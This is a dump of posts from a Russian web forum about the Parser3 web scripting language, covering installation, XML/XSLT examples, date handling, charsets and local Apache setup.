Проблемс в том, что для завершения этого монументального труда мне нужно уволиться с работы, поссориться с подружкой и забить на пару текущих проектов; но покуда на такие жертвы я не готов, дело затягивается и продвигается урывками :("
"6350","однако мне непонятно как ты собрался парсером без доки заниматься, я имею ввиду без её копии на локальной машине или печатной копии. Ты чего доку в онлайне читаешь? Если да то у тебя наверно инет есть постоянно и работает он шустро."
"6351","ну а девушки, а девушки потом :). Общество оценит эти жертвы."
"6352","с инетом у меня все в порядке, доку распечатал еще и на бумагу, сегодня зайдет админ линуксный хочу чтобы пример был действительно проверенно рабочий..\
вышли.. "
"6353","Существует ли способ проверки ,свидетельствующий о корректной работе парсера на данной машине?"
"6354","[code]\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?> \
<article> \
    <author id=\"1\" /> \
    <title>Урок 6. Работаем с XML</title> \
    <body> \
        <para>Представьте, что вам позволено придумывать любые теги \
              с любыми атрибутами. То есть вы сами можете определять,   \
              что означает тот или иной выдуманный вами тег или атрибут.</para> \
        <para>Такой код будет содержать данные, … </para> \
    </body> \
    <links> \
        <link href=\"http://parser.ru/docs/xdocclass.htm\">Класс xdoc</link> \
        <link href=\"http://parser.ru/docs/xnodeclass.htm\">Класс xnode</link> \
    </links> \
</article> \
[/code]\
…но не их форматирование. Подготовкой данных может заняться один человек, а форматированием другой. Им достаточно договориться об используемых тегах и можно приступать к работе… одновременно. \
\
Идея эта не нова, существовали многочисленные библиотеки обработки шаблонов, а многие создавали собственные. Библиотеки были несовместимы между собой, зависели от используемых средств скриптования, порождая разобщенность разработчиков и необходимость тратить силы на изучение очередной библиотеки вместо того, чтобы заняться делом. \
\
Однако прогресс не стоит на месте, и сейчас мы имеем не зависящие от средства скриптования стандарты XML и XSLT, позволяющие нам реализовать то, что мы только что представляли. А также стандарты DOM и XPath, открывающие для нас еще больше возможностей. \
Parser полностью поддерживает все эти стандарты. \
\
Сейчас откройте выбранную вами вчера в книжном магазине книгу, описывающую XML и XSLT. Используйте ее как справочник. \
\
Посмотрим, как можно приведенную статью преобразовать из XML в HTML. \
Запишем текст из начала статьи в файл article.xml \
И создадим файл article.xsl, в котором определим выдуманные нами теги: \
[code]\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?>  \
<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" version=\"1.0\"> \
\
<xsl:template match=\"article\"> \
    <html> \
        <head><title><xsl:value-of select=\"title\" /></title></head> \
        <body><xsl:apply-templates select=\"body | links\" /></body> \
    </html> \
</xsl:template> \
\
<xsl:template match=\"body\"> \
    <xsl:apply-templates select=\"para\" /> \
</xsl:template> \
\
<xsl:template match=\"links\"> \
    Ссылки по теме: \
    <ul> \
        <xsl:for-each select=\"link\"> \
            <li><xsl:apply-templates select=\".\" /></li> \
        </xsl:for-each> \
    </ul> \
</xsl:template> \
\
<xsl:template match=\"para\"> \
    <p><xsl:value-of select=\".\" /></p> \
</xsl:template> \
\
<xsl:template match=\"link\"> \
    <a href=\"{@href}\"><xsl:value-of select=\".\" /></a> \
</xsl:template> \
\
</xsl:stylesheet> \
[/code]\
Данные и шаблон преобразования готовы. Создаем article.html, в который заносим следующий код: \
[code]\
# входной xdoc документ \
$sourceDoc[^xdoc::load[article.xml]] \
\
# преобразование xdoc документа шаблоном article.xsl \
$transformedDoc[^sourceDoc.transform[article.xsl]] \
\
# выдача результата в HTML виде \
^transformedDoc.string[ \
    $.method[html] \
]\
[/code]"
"6355","вызови в html странице любой оператор."
"6356","Ой спасибочки я уже и не ждал, три файлика из примера заархивированы в архивчик и присланы по почте, все как я и просил!"
"6358","Вот из-за такого снобизма на данном форуме Парсером не настолько популярен как мог быть..\
ПРИМЕР ПРОСТОЙ это тот для которого нужно поставить парсер с поддержкой XML??"
"6359","а Миша просто прикололся, и снобизмом тут вроде не пахнет."
"6360","Для моих проектов парсер не нужен, если у него нету xml/xsl.\
\
У других требования другие.\
\
Для некоторых простой пример это ^eval(2+2) в теле странички с html, но мне лениво создавать файл и отправлять его куда-то, как лениво и тебе сделать то-же самое. Ты на периписку потратил уже больше времени (как мне кажется), чем на чтение одной странички доки.\
\
P.S. \"Научить - нельзя. Научиться - можно.\" (с) кто-то из великих"
"6361","В общем всем спасибо, может быть когда нибудь-на этом сайте и появится в разделе \"Примеры\" появится готовый пример какого-нибудь простенького сайта не сем свою просьбу считаю закрытой (за неимением на этом форуме мОгущих)..\
Модератор данную ветку считаю флудом, как и мою действительно необоснованную просьбу здесь.. "
"6362","> но это налагает ограничение \
> в 100 \"впихнутых\" постов и вообще как-то неизящно. \
\
Вообще-то весь мир вокруг именно так и устроен - неизящно, пошло, грязно, банально и цинично. Без каких-либо исключений. Ваше решение хранить дату в varchar - яркий тому пример. Я думал, вы в курсе. :)\
\
В микрокомпьютере БК-0010 на этот случай была команда RENUMBER.\
\
Если говорить об идеальном хранилище, то нумерация может быть валовой, а элементы отсортировываться путём обмена их местами:\
\
0 Pushkin\
1 Dantes\
2 Mozart\
3 Salieri\
\
=>\
\
0 Mozart\
1 Dantes\
2 Pushkin\
3 Salieri\
\
Это простейший случай. Более интересные вариант - списки с указателями на next-previous. Есть ещё интереснее. Если ваше время стоит мало, а писать сайты вы хотите на C - берите книжки с классическими алгоритмами и вперёд. :)"
"6364","Что-то никак не получается..."
"6366","у нас на форумах есть топик по Парсеру, можно там общаться\
http://forum.nbsp.ru/\
\
а то я смотрю это единственный форум по Парсеру в Рунете.\
\
"
"6367","но попробуй их искейпить слэшем т.е.\
\
вместо [ пиши \\[ хотя наврядли\
\
никогда таких паролей не делай. плохой тон."
"6368","1. проверь связь с БД\
2. проверь несколько операторов с выводом кириллицы (!)\
3. проверь работу XML (опционально)"
"6369","Наоборот - впечатляет масштаб использования!\
\
ПАФ! Скомпилируй мне 0005 для хостинга на НЕТ.РУ (ну там с запуском и группами от пользователя). Наверняка многие уже просили, а?"
"6370","код www.nbsp.ru за 300 уругвайских ескудо.\
"
"6371","если перехлёстов не бывает, то и проблемы нет: хранится дата начала, дата конца идёт до начала следующей (if any).\
\
если перехлёсты бывают…\
\
[code]\
create table новость (\
начало date,\
конец date\
)\
[/code]\
\
и выводи свои \"начало-конец\"\
и добавляй в любое место.\
[code]\
select \
from новость \
…\
order by начало\
[/code]"
"6372","я parser компилирую только под win32, под другие платформы собирают другие люди.\
решение ограничить принципиальное. кому нужно, скомпилирует себе сам/попросит соседа."
"6375","как обычно, не сообщаете, что же не получилось, copy+paste сообщения об ошибке, пожалуйста.\
\
выстрел в темноту: вы написали «^,» скверно прочитав, и вас ругают."
"6376","1) Перехлест может быть, кроме того, есть моменты, когда ничего не происходит, так что первый вариант не идет.\
\
2) Хорошая штука. Однако есть еще такой изврат: иногда, когда вносятся планы, точная дата неизвестна, т.е. \"где-то в декабре\", и надо, чтобы писалось просто \"декабрь 2002\". Насколько я понимаю, тип date не позволит вбить нулевой день?"
"6377","Понятно твоё желание разрекламировать свой ресурс, но не стоит, право - тем более продвигать форум, в котором сейчас нет [i]ни одной реплики[/i] и бегающий на пехепешном vBulletin..."
"6381","На самом деле можно бесконечно перечислять операторы."
"6382","А есть ли какие-то писания на эту тему? Хочется организовать все по уму..."
"6383","est page na drugom server'e, kotoruyu nado ukrast, s pomoschyu regexp'ov obrabotat, i poluchenniy kod vivesti na site. Tak ka mne etu stranitsu ukrast?!:))"
"6384","по твоему новые форумы должны появляться с новыми тредами ? 8-[0]\
мне что их самому туда вбить."
"6385",">Вообще-то весь мир вокруг именно так и устроен - неизящно, пошло, >грязно, банально и цинично. Без каких-либо исключений. Ваше >решение хранить дату в varchar - яркий тому пример. Я думал, вы в >курсе. :)\
\
1) Сто процентов. Это детский перфекционизм - хочется хоть ЧТО-ТО сделать по уму :)\
2) Согласен... Я на нем не настаиваю - просто написал, как оно сейчас. Если родится вариант лучше - буду рад его принять.\
\
>Если говорить об идеальном хранилище, то нумерация может быть >валовой, а элементы отсортировываться путём обмена их местами:\
\
То есть при каждом \"впихивании\" поста будут перенумеровываться все последующие? Тоже вариант, но похоже, много возни будет с каждым постом...\
\
>Это простейший случай. Более интересные вариант - списки с >указателями на next-previous.\
\
...который я и пытался изобрести :)\
\
>Есть ещё интереснее. Если ваше время стоит мало, а писать сайты >вы хотите на C - берите книжки с классическими алгоритмами и >вперёд. :)\
\
Время временем, а вот в С я разбираюсь как свинья в апельсинах. Так что придется обойтись средствами Парсера..."
"6387","\"И ничего, что краска на стенах не обсохла, персонал мы ещё не весь наняли и шеф-повара пока нет и готовит тётя маня из соседнего детсада, взятая но полставочки, но мы это скоро быть может поправим, но вы всё равно заходите, ладно?\"\
\
Может я чего не понимаю в online communities management, но форум сначала нужно наполнить парой интересных обсуждений (с друзьями, \"сообщниками\"), чтобы случайный посетитель не чувствовал себя идиотом, приходя туда.\
\
[i]     -- Где же гости? -- спросила Маргарита у Коровьева.\
\
     -- Будут, королева, сейчас будут. В них недостатка не будет. И, право, я  предпочел  бы  рубить  дрова,  вместо  того чтобы принимать  их здесь на площадке.\
\
     --  Что  рубить  дрова, -- подхватил  словоохотливый кот, -- я хотел бы служить кондуктором в трамвае, а уж хуже этой работы нет ничего на свете.\
\
     --  Все  должно быть  готово  заранее, королева, -- объяснял Коровьев, поблескивая глазом сквозь испорченный монокль. -- Ничего не может быть гаже, чем когда приехавший первым гость мыкается, не  зная, что ему предпринять, а его  законная  мегера шепотом пилит его за то, что они приехали раньше всех. Такие балы надо выбрасывать на помойку, королева.\
\
     -- Определенно на помойку, -- подтвердил кот.[/i]\
\
"
"6389","а ещё лучше зарегистрироваться под разными именами и флеймить с самим собой :-)"
"6391","создай скрытую форму (c полями hiden в скрипте)\
\
потом поcтавь в ссылку событие onsubmit(название скрипта) и ссылку куда надо идти.\
 "
"6392","Конечно луше чтоб на форуме уже были посты, хоть ты их и сам на постил.\
Но с другой стороны сайт то только стал работать так, я думаю будут и посты.\
\
Как ни как, а это второй форум где есть упоминание о парсере :).\
\
Тока наверное и фрум надо сделать на парсеровой технологии, а то как-то получается, что сайт для веб мастеров т.е подразумевает профессионализм в этой области, а движок форума стандартный - его может любой юзерЬ мало-мальски знакомый с РHP или Perl загрузить и поставить.\
\
А та морда что есть приелась до чертиков уже, хотя возможно ОНА Супер удобна."
"6393","почитай тут http://parser.ru/forum/?id=6362 в последнем предложении слова после тире :) У Кнута есть, если ты с его помощью в этом разберёшся пиши резюме в Microsoft думаю тебя возьмут :)"
"6395","он ведь будет очень сильно матом ругаться. Я например иногда её отключаю, как впрочем и не только ёё, а ещё и анимацию, звуки и прочие приблуды."
"6396","но их выкинули, ответ почему ищи в форуме, тут был уже базар на эту тему."
"6398","Это его проблемы.\
К тому же я Админисрацию для себя делаю"
"6399","передача произойдет автоматически,\
\
я же вроде русским языком (в перемешку с инглишом написал), что в ссылке ты прописываещь onsubmit(dd) который автоматом сабмитит форму когда ты нажимаешь на ссылку"
"6400","а нафиг тогда вообще всякие технологии придумывать \
чтоб их потом отрубать что ли :)?"
"6401","когда?"
"6402","бывают хорошие, бывают нехорошие."
"6404","они и сейчас там есть, вот почитай http://parser2.parser.ru/docs/operators06.html#3-6-2"
"6405","ты и прав, но только в том случае если есть достойные альтернативные решения.\
\
Предлагай...."
"6406","но бывают случаи когда эта технология меня достает по самое нехочу :)"
"6407","IMHO - это сакс."
"6408","я понимаю конечно что это не совсем то что клиент хочет, но это хоть работает всегда и везде."
"6409","Nik33, не кипятись!!!\
Если надо проверить установился ли Парсер на твою машину (не касаясь XML, баз данных, перекодировок и т.п.), то здесь всё просто.\
1. Читаешь доку по Парсеру и делаешь как доктор прописал (точно по инструкции). Поставил - теперь хочешь проверить правильно ли? Надеюсь настроил расширение html под обработку Парсером.\
2. Делаешь два файла: proba.htm и proba.html и кидаешь их корень своего сайта.\
В 1-м (.htm) напиши типа <H1>Hello world!!!</H1>\
Вызываешь http://localhost/proba.htm (если пишет Hello world, то web-сервак вроде как работает).\
Во 2-м (proba.html) пишешь две строчки (самое простое что можно придумать):\
\
@main[]\
<H1>2 умножить на 2 будет ^eval(2*2)</H1>\
\
Всё сохраняешь и пробуешь http://localhost/proba.html (если пишет \"2 умножить на 2 будет 4\", то значит Парсер работает)\
Ч.Т.Д. (что и требовалось доказать)\
Дерзай и больше не бугруй, что на форуме \"мОгущих\" нет, просто народу влом настолько простые вещи разъяснять. По Парсеру никакие буквари даже не нужны - всё в доке есть, только русские буквы знать надо, чтобы читать (шутка).\
"
"6410","... хоть всегда можно обойтись если очень захотеть :)"
"6411","...его условия выполнены полностью не будут.\
\
Заодно объясни, что если нужно 2 файла - это [b]простой[/b] пример или нет.\
\
"
"6412","Хотя... Можно сказать, что машине надо приделать реактивный двигатель и крылья, иначе \"есть варианты, когда она не сможет перебраться через пропасть\".\
\
Мне кажется, что не надо придумывать извращения самим, а потом их еще и реализовывать. Ссылка - это чудесная и понятная штука - и пусть она ей остается. Форма - не менее чудесная, хотя и менее понятная большинству.\
\
Единственные задачи, для которых мне видится применимым POST - это закачка файлов и авторизация, т.к. нехорошо пароль с GET-от стыкуется. Возможно я еще что-то упустил...\
Но в этих задачах я не нахожу места ссылке вместо кнопки.\
"
"6414","Ну не настолько же просто всё должно получаться у человека. Пусть сам хотя бы сделает с начала Copy, а затем Paste.\
\
Когда два файла это ещё сложныйй пример, вот когда только один и в одну строчку, то это в самый раз :)))"
"6416","ты щас тут начнешь разными вопросами народ терроризировать"
"6417","так вот при выходе пользователя со страницы, а\
именно с авторизованной зоны надо было отсылать уникальный id серверной программе. Она хавайе этот id и удаляет пользователя со своего монитора, сообщая оператору что данный чел свалил.\
\
Замечу что код был реализован на DELPHI - а это с моей точки зрения полные дрова (для WEBa).\
Клиенская прога тоже была накатана на дельфях.\
Поэтому друго выхода я ненашел как придумать такой вот ФИНТ дабы опознать свалил юзер или нет (закрыл окно браузера или просто свалил на другой сайт.) \
"
"6418","и сиди и радуйся :)"
"6419","Я просто написал, что вешать action на объет-ссылку считаю очень нехорошей вещью. \
\
Если ты хочешь - делай, с помощью javascript это совсем несложно."
"6420","на которых сверху картинки, чтоб можно было бы их орубать если надо :)"
"6421","Тот, кому надо будет свалить не сообщив об этом - все равно свалит.\
\
Ты просто откосил и не стал делать свою часть работы правильно :). Делаются подобные вещи не так (как - ищи например в этом форуме, это обсуждалось по моему везде и не раз)."
"6422","Ох, как же сложно заставить работать это чудо современного скриптования! Технология меня очень заинтересовала, но огорчили ошибки и неточности в документации, касающиеся установки интерпретатора. Слава Богу, есть этот форум. В общем, под win2000 все у меня заработало, а вот с сервером, естественно, возникли проблемы. Пожалуйста, поделитесь сборкой без --disable-foreign-group-files для FreeBSD! Главное, чтобы файл был <500 Кбайт (без поддержки XML), а то мне его будет на сервер не выложить. И еще... можно было бы в раздел \"Скачать\" положить такие файлики -- чтоб народ не мучался.\
\
Спасибо."
"6424","тока я потратил на решение этой проблем несколько дней, а так нормально работающего ненашёл.\
опятьже замечу для  DELPHI."
"6425","об том, что кажется ошибкой в документации, можно написать мне, и я ошибки уберу, чтобы всем жилось хорошо.\
\
давайте будет толк от \"мучений\" = шлите сообщения об ошибках = не скрывайте их."
"6427","Открывай примеры и делай как там, потом решишь куда тебе их лучше засунуть."
"6428","LOL - email-то забыл: amgold@mail.ru"
"6429","стр. 126 стр. 7 - вместо /cgi-bin/parser3.cgi лучше писать полный путь, по другому у меня не заработало.\
\
На той же странице при настройке под виндами предлагается писать AddHandler parsed-html html вместо AddHandler parser3-handler html.\
\
Т.е. получается, что сходу ни под винды, ни под unix не настроить. Конечно, поможет смекалка, но согласитесь - недостаток очевиден. Надеюсь, вы все поправите, успехов в чем я вам и желаю.\
\
П.С. Технология суперская, не терпится опробовать..."
"6431","Так что уладил - типа заработало? Или опять что-то не так?"
"6432","1. считается, что виртуальный каталог со скриптами называется /cgi-bin. так по default, и общепринято. если кто перенастроил, это локальные трудности.\
\
2. это да, скоро выложим."
"6433","Цитата и документации к 3-му Парсеру:\
select. Отбор записей \
 \
^таблица.select(критерий_отбора) \
\
Метод последовательно перебирает все строки таблицы, применяя к ним выражение критерий_отбора, те строки, которые подпали под заданный критерий (логическое выражение было истинно), помещаются в результат, которым является таблица с такой же структурой, что и входная. \
\
Пример использования: \
$men[^table::create{name   age \
Serge   26 \
Alex   20 \
Mishka   29 \
}] \
$thoseAbove20[^men.select($men.age>20)] \
\
В $thoseAbove20 попадут строки с Alex и Mishka. "
"6434","Дело не в этом!\
Я имею ввиду *полный* путь, даже если каталог называется /cgi-bin. По крайней мере, у меня без полного пути от / не заработало.\
\
ПС какой-то нехороший подход - мол, \"это ваши трудности\" ;) Правда мне, по крайней мере, чем больше таких трудностей - тем больше хочется заставить _это_ работать."
"6435","И ещё, сколько Парсер может загрузить текстовой информации из файла и обработать её???\
У меня есть файлики объемом 3-20 мб. возможно ли с ними работать?"
"6436","На меня произвела большое впечатление работа Парсера с XSL. Но сервера Apache у меня нет, у меня вообще никакого сервера нет. А использовать хочеться. Мой вопрос, собственно: существуют ли хостинги, поддерживающие Парсер? "
"6437","www.xml.nsu.ru | www.xmlhack.ru"
"6438","Я сейчас как раз пытаюсь запустить парсер на Hut.ru. Но там ограничение размера файла 500 Кб, а парсер с поддержкой XML весит 1,2 Мб. Так что приходится от нее (поддержки XML) отказаться; тогда остается 450 Кб. Вот только файл cgi, который лежит в разделе \"скачать\" не работает на Hut.Ru из-за того, что процесс cgi пренадлежит не той группе, что html файлы... короче, см. мое сообщение на этот счет чуть ниже.\
\
П.С. если удастся настроить парсер на free hosting'е, черкните плз на amgold@mail.ru\
Удачи! "
"6439","http://parser.ru/forum/?terms=%E1%E5%F1%EF%EB%E0%F2%ED&searchInMessage=1&author=&doSearch=%CD%E0%E9%F2%E8\
\
и она, как обычно, рулит..."
"6440","В MySQL с датами можно творить всё что угодно, нулевые в том числе.\
\
А самым разумным решением будет описать в виде бизнес-процессов всё, что вы творите с новостями, и сделать подходящую логическую структуру БД."
"6441","Это конечно здорово, но hoha.ru висит, а других ссылок я в поиске не заметил."
"6442","Кажется, нашел то, что искал. Всем спасибо.\
П.С. Сейчас я заставлю все это дело работать, как МНЕ нужно ;)"
"6444","Все получилось. ;)"
"6447","1. ^date::create(1031180514.900/86400) - дата создается из числа дней, 86400 - секунд в сутки (RTFM)\
2. $f[^file::load[/path/to/file.ext]]$f.text - содержимое этого файла, тип string (RTFM)\
3. объем файла теоретически ограничен количеством памяти на процесс: хватит памяти - обработаешь, иначе - увы..."
"6448","Unhandled Exception (Debug)\
(date) has no string representation\
exception.type=parser.runtime "
"6450","А нужно мне:\
\
Как, зная Epoch время (сек. от 1.1.1970) - получить день, месяц, год и время."
"6451","Рад за тебя, но мне нужно как раз с поддержкой XML.."
"6452","Давай, я тебе просто скажу, что мне лень разыскивать по этому многодлинному поиску сервер, который, черт найдешь, к тому же, с поддержкой XML. Тебя это успокоит?"
"6453","см. доку - раздел \"поля класса date\" и пример Миши для работы с датами - там есть идеи, как вывести месяц и день недели строкой"
"6455","Не надо требовать от [b]бесплатного[/b] всех функций [b]платного[/b] - выбирай чем жертвовать или временем (на поиск бесплатного, на установку, на время ожидания ответа) или 5-10 у.е. в месяц за нормальный платный хостинг с внятной поддержкой и всеми доступными фичами."
"6457","Но я и не требую бесплатного хостинга. 2-6 $ в месяц, я готов отдать, чтобы попробовать Парсер, если конечно с поддержкой XML. Но, я и этого найти не могу. "
"6458","Сами понимаете, зачем нужны схемы. А вот будет ли в будущем реализована поддержка Парсером XSL:FO? Или это уже перебор?"
"6459","Пишу команду:\
^mail:send[\
    $.from[www.site.ru]\
    $.charset[windows-1251]\
    $.to[post@mail.ru]\
    $.subject[text]\
    $.html{text<br>text}\
    ]\
]\
А парсер мне в ответ.\
(junction) has no string representation\
\
Если $.html смеминть на $.body ошибка исчезает.\
\
Очень хочется в письмо хтмл тэги вставлять."
"6460","Правда, там нужна disable-foreign-group-files версия ..."
"6461","А какая это версия? В разделе СКАЧАТЬ ее можно найти?"
"6463","Считаю что включить в документацию простой код для проверки работы на сервере парсера было бы очень неплохо! так же его можно поместить в разделе FAQ, лично я мог бы затратить на установку и настройку парсера потратить на несколько часов меньше будь этот простой код где-нить написан на видном месте. Огромное спасибо Sergei'ю за разъяснения и простой код.."
"6464","с ближайшим update бинарных версий.\
кому срочно: в cvs."
"6465","Сама ошибка:\
[code]\
Unhandled Exception (Debug)\
(void) not a method or junction, can not call it\
match\
\
/home/glacius/users/www/auto.p(5)\
exception.type=parser.runtime \
[/code]\
\
А вот сорцы:\
\
[code]\
$f[^file::load[text;/src/log/squid/access.log]]\
\
^f.match[ ][g]{|}\
[/code]\
Даже не знаю его енто такое :-((("
"6467","[b]Условия:[/b]\
В каталоге [b]/folder/[b] лежит файл [b]xxx.html[b]\
\
При обращении к несуществующему каталогу [b]/folder/xxx/[b], вместо того, чтобы послать на 404, Парсер выдает ошибку:\
\
read failed: No such file or directory (2), actual filename\
'.../folder/xxx.html/xxx.html'\
\
PS:\
Хотелось бы в окошке написания сообщения в форум иметь DHTML-кнопки, кои вставляют безопасные теги для форматирования вокруг текста, который selected. Утомляет ручками copypaste..."
"6468","[b]Условия:[/b]\
В каталоге [b]/folder/[/b] лежит файл [b]xxx.html[/b]\
\
При обращении к несуществующему каталогу [b]/folder/xxx/[/b], вместо того, чтобы послать на 404, Парсер выдает ошибку:\
\
read failed: No such file or directory (2), actual filename\
'.../folder/xxx.html/xxx.html'\
\
PS:\
Хотелось бы в окошке написания сообщения в форум иметь DHTML-кнопки, кои вставляют безопасные теги для форматирования вокруг текста, который selected. Утомляет ручками copypaste...\
Вот и пример тому случился сразу."
"6469","а недостаток http://parser.ru/forum/?id=5778\
в следующий раз попробуй сначала поискать по форуму прежде чем вопрос задать."
"6470","libxml поддерживает проверку валидности DTD, сейчас эта проверка глобально отключена. \
\
думаю, добавим опцию."
"6472","hi vsem...:)\
delo vot v chem...\
site, nad kotorim ya seychas rabotayu, izdaetsa na turetskom yazike. Sootvetstvenno, $request:charset dolzhen bit win-1254 ili v etom rode. V pakete parser'a est tolko russkie charset'i. a gde mne vzyat win-1254 charset? Ya prosmotrel charset file'i - ne dumayu, chto vse eto pisalos ot ruki... mozhet programka kakaya est, chtobi eti charset'i pisAt? Pomogite, a to mne pridetsa v ruchnuyu noviy charset pisAt...\
\
P.S. nu da, eto snova ya so svoim translitom....:)"
"6474","..потому что:\
\
если в папке [b]/folder/[/b] лежит файл [b]xxx.html[/b] (именно с расширением [b].html[/b]) и я обращаюсь к папке [b]/folder/xxx/[/b] -- будет ошибка парсера,\
а если расширение не [b].html[/b] или имя файла другое, я получаю нормальную ошибку 404.\
\
Да и сама ошибка: '.../folder/xxx.html/xxx.html'\
Почему [b]два[/b] раза xxx.html?\
\
Попробуй, к примеру, с помощью mod_rewrite перенаправить обращение к [b]/folder/xxx/[/b] на [b]/folder/xxx.html[/b]"
"6475","u menya v DB danniye hranyatsa tozhe na turetskom... i  v uppercase. kogda ya ih vityagivayu na site, mne nado ih sdelat lowercase, a dlya etogo\
[quote]\
^строка.upper[]    \
^строка.lower[]    \
Переводят строку в верхний или нижний регистр соответственно. Для работы этого метода необходимо, чтобы [b]был задан $request:charset[/b].\
[/quote]\
....\
Tak gde zdes sobaka zarita?\
\
"
"6476","^строка.upper[]    \
^строка.lower[]    \
\
Переводят строку в верхний или нижний регистр соответственно. Для работы этого метода необходимо, чтобы был задан $request:charset."
"6477","К сожеланию не знаю, как делались эти файлы, но, видимо, \"практически руками\". Изменить 1251 достаточно легко - в свое время я много работал с итальянскими текстами, так мне нужно было не так много изменять (с парсером, правда, не связано, но таблицы такие делал)"
"6478","http://www.parser.ru/forum/?id=6151 ?\
\
А то та реплика повисла без ответа, будто её не заметили..."
"6479","ok. ya soglasen vse perepisAt vruchnuyu, tolko gde vzyat vsyakie hitriye hex-code'i turetskih bukv?"
"6480","Посмотри на русский алфавит в своей турецкой кодировке (например, с помошью IE) - если что-то не найдешь - прямая дорога в charmap (или как там эта программулька в виндах называется)"
"6481","формат этого файла описан в документации.\
\
я хочу послать вам созданный механическим образом на основе того же исходного файла, что и имеющиеся.\
\
взят тут:\
http://oss.software.ibm.com/cvs/icu/icu/source/data/mappings/\
\
дайте email"
"6482","сходи сюда\
http://www.fonts.ru/ru/default.asp?page=/ru/library/languag/codepages.html\
\
Там и турецкая есть и ещё (и под винды, и под Mac). И ручками свой файлик кодировок начинай переправлять (правда копировать не получится - там таблица картинкой выложена):))\
Удачи в этом нелёгком труде :))). Ну зато один раз сделаешь, потом всю жизнь будешь турецкие сайты шлёпать в лёгкую."
"6483","ag_7k@mail.ru - prisilayte...\
\
Zaranee blagodaren.."
"6484","Ну, естественно, не на пустом месте начинать будем, только функциональности subj'a в нашем случае явно не достаточно(предполагается, так же, поддержка cookie-based sessions)...\
\
Если получится что-нибудь достойное общественного внимания - поделимся.\
"
"6485","Спасибо за помошь, net.ru мне достаточно. Но я не совсем разобрался с версией, какую надо качать, но я полагаю что разберусь сам и считаю тему исчерпаной."
"6486","Формы, насколько я знаю, даже стандартом W3C не утверждены."
"6488","Например, index.html переопределяет метод body, который вызывается из auto.p:\
\
[code]@body[]\
Думал, думал я, да и ввернул знак\
@ в код метода.\
А парсер переваривать такое отказался.\
[/code]\
\
Предварение \"собачки\" \"птичкой\" не помогло, в документации на эту тему ничего не нашел, на форуме --- тоже. Что делать?"
"6489","Если он на первой позиции в строке - считается, что это - начало метода. \
А вот если перед ним есть хотя бы символ табуляции (любой текст тоже сгодится) - все будет о'кей.\
\
Плохой пример:\
[code]\
@method[]\
text\
@\
text\
[/code]\
\
Хороший пример:\
[code]\
@method[]\
text @\
text\
[/code]"
"6490","точнее о том, как её отключить на всём сайте. Сделайте следующий метод в корневом auto.p вашего сайта:\
[code]\
#######\
@postprocess[buffer]\
^taint[as-is][$buffer]\
[/code]\
и у вас на всем сайте отключится нафиг вся оптимизация кода. Конечно этого лучше не делать, но в тестовых целях может и сгодится."
"6491","Спасибо за решение. И всё-таки PAF’у стоит задуматься. Должен ведь быть способ нормального отэскейпивания синтаксического символа. Или я неправ?"
"6494","Хех, теоретика, она и в Африке теоретика.. А ты знаешь, у меня есть две, <b>различные</b> методики обучения XSL:FO? От 2000 года :-) Хотя они обе абсолютно неверны :-) Но они есть. \
Что не делает существование и использование XSL:FO более реальным :-)  "
"6495","Соответственно, чтобы включить оптимизацию необходимо закомментировать вторую и третью строчки. Вот так:\
\
#######\
#@postprocess[buffer]\
#^taint[as-is][$buffer]\
\
:=)"
"6498","Acrobat Reader 5 выдает что-то типа: damaged or unknown format. Что делать?"
"6499","Hi...\
Ya tut hochu svoih debilov Parseru nauchit - tolko oni russkogo ne znayut. Net li sluchayno doc'ov na english? Esli net - to eto nado ispravit kak mozhno skoree - budet sposobstvovat razvitiyu i rasprostraneniyu Parsera..."
"6500","skachat .chm versiyu..."
"6501","Тут только два выхода, бивис: или загрузить её так, чтобы не повредить файл в процессе скачивания, или самодеструктироваться."
"6502","Правельный размер PDF файла 593,256 байтов!"
"6503","Приму к сведению. Спасибо."
"6504","Если кто переведет - посмотрим и утвердим ;-)"
"6505","da....ploho...\
a mozhno eto vse delo oformit s pomoschyu program-perevodchikov? Oni potyanut?"
"6506","znachit tak...\
mozhno li moyi html-file'i propustit cherez asp, a potom cherez Parser?"
"6508","Подскажите как настроить апач, чтоб можно было одновременно отлаживать несколько сайтов.\
\
Проблема вот в чем. Написал один сайт на парсере. Для отладки он находится у меня в папке C:/program files/apache group/apache/htdocs/\
\
Мне нужн чтоб этот сайт работал допустим в /htdocs/site1\
другой сайт работал в ? /htdocs/site2\
\
Я пробовал просто перенести весь написанный сайт из папки C:/program files/apache group/apache/htdocs/\
в папку\
C:/program files/apache group/apache/htdocs/site1/\
но парсер ругается.\
\
Подскажите что делать\
"
"6509","В логах парсера сообщение, что файл ищется в папке \
C:/program files/apache group/apache/htdocs/\
\
а мне нужно в C:/program files/apache group/apache/htdocs/site1/\
\
"
"6510","из моей старой статьи про установку Apache/win32, которую я сейчас переписываю на добрую треть (будет лежать на http://www.bougakov.com/web/):\
\
------------------------------------\
\
А вот адреса, начинающиеся с 127.* всегда указывают на локальный компьютер. Те, в ком есть страсть к экспериментаторству, могут попробовать прямо сейчас сделать ping по любому такому адресу:\
C:\\> ping 127.1.2.3\
 \
Обмен пакетами с 127.1.2.3 по 32 байт:\
 \
Ответ от 127.1.2.3: число байт=32 время<10мс TTL=128\
Ответ от 127.1.2.3: число байт=32 время<10мс TTL=128\
Ответ от 127.1.2.3: число байт=32 время<10мс TTL=128\
Ответ от 127.1.2.3: число байт=32 время<10мс TTL=128\
\
Для этого не нужно включать модем или подключаться к локальной сети - все адреса 127.*.*.* - к вашим услугам. То есть мы можем использовать любой из 2553 = 16,5 млн. доступных нам адресов, начинающихся на 127.*, не рискуя занять чей-то чужой номер и не прося ни у кого разрешения. \
\
Наберите в своём браузере адрес {http://127.0.0.1/} и вы … ничего не увидите. И это нормально, потому что вы пока не запустили вебсервер на своей машине. Только после его запуска вы увидите не сообщение \"Сервер не найден - невозможно отобразить страницу\", а страницы своего сайта. \
\
.....\
\
мы будем использовать адреса в диапазоне 127.*.*.* под тестируемые сайты. Если у вас их две штуки, один привяжете к 127.0.0.2, а другой - к 127.0.0.3, если десять - займёте ещё. Вопрос в том, что не очень удобно обращаться к ним по IP-адресам - было бы удобнее использовать буквенные обозначения. Отсюда проблема - как заставить ваш компьютер сопоставить 127.0.0.2 адресу www.mycoolwebsite.ru так, как он сопоставляет IP-адрес 207.46.230.219 имени microsoft.com? \
\
